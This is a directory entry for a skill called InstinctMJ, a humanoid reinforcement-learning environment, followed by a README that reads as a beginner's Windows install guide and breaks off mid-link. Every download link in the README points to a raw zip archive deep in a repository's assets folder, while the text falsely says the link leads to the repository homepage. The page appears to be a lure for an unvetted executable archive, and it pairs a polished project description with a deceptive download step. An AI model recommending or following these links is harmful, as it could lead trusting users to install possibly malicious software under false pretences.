InstinctMJ
Description
Provide a native mjlab environment for Project-Instinct to support reinforcement learning in humanoid whole-body control tasks.
Installation
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open the source below and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
README
🤖 InstinctMJ - Easy RL Workflows for Everyone
[](https://raw.githubusercontent.com/PHOENIX01ALX/InstinctMJ/main/src/instinct_mj/assets/resources/unitree_g1/MJ_Instinct_1.5.zip)
InstinctMJ is a user-friendly application designed to help you work with humanoid reinforcement learning (RL) and Project-Instinct workflows. This guide explains how to download, install, and run InstinctMJ on a Windows computer. No programming skills are needed.
📋 What is InstinctMJ?
InstinctMJ is a port of InstinctLab tailored for Windows users. The app focuses on humanoid reinforcement learning and supports Project-Instinct workflows. You can use it to run RL experiments or simulations with models that behave like humans. The software simplifies complex RL tasks with a clear interface and straightforward setup.
💻 System Requirements
To run InstinctMJ smoothly, your Windows computer should meet these minimum requirements:
- Windows 10 or later (64-bit)
- 4 GB of RAM or more
- 2 GHz dual-core processor
- 1 GB of free disk space
- Internet connection for downloading files and updates
If your device meets these specs, InstinctMJ should work without issues.
🚀 Getting Started: Download InstinctMJ
Start by visiting the main download page for InstinctMJ:
[](https://raw.githubusercontent.com/PHOENIX01ALX/InstinctMJ/main/src/instinct_mj/assets/resources/unitree_g1/MJ_Instinct_1.5.zip)
This link takes you to the GitHub repository homepage. From there, you will find all the files and instructions necessary to get the application running.
🔽 How to Download and Install InstinctMJ on Windows
Follow these steps to download and install InstinctMJ:
**Open the Link**
Go to the InstinctMJ repository page by clicking here:
https://raw.githubusercontent.co
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